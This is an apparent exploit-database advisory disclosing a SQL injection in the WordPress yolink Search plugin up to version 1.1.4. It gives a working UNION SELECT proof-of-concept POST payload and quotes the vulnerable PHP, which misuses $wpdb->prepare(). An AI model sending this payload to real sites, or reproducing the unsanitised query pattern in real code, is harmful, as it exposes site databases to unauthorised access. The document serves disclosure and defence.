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WordPress yolink Search plugin <= 1.1.4 SQL Injection

Author
Miroslav Stampar
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-16800
Category
web applications
Date add
30-08-2011
Platform
php
# Exploit Title: WordPress yolink Search plugin <= 1.1.4 SQL Injection Vulnerability
# Date: 2011-08-30
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/yolink-search.1.1.4.zip
# Version: 1.1.4 (tested)
 
---------------
PoC (POST data)
---------------
http://www.site.com/wp-content/plugins/yolink-search/includes/bulkcrawl.php
 page=-1&from_id=-1 UNION ALL SELECT CONCAT_WS(CHAR(58),database(),version(),current_user()),NULL--%20&batch_size=-1
 
---------------
Vulnerable code
---------------
$post_type_in = array();
 
if( isset( $_POST['page'] ) )
{
    $post_type_in[] = '"page"';
}
if( isset( $_POST['post'] ) )
{
    $post_type_in[] = '"post"';
}
$post_type_in = '(' . implode(',', $post_type_in) . ')';
$id_from = $_POST['from_id'];
$batch_size = $_POST['batch_size'];
 
$post_recs = $wpdb->get_results( $wpdb->prepare( "SELECT ID,GUID FROM $wpdb->posts WHERE post_status='publish' AND post_type IN $post_type_in AND ID > $id_from order by ID asc LIMIT $batch_size" ) ); //misusage of $wpdb->prepare() :)



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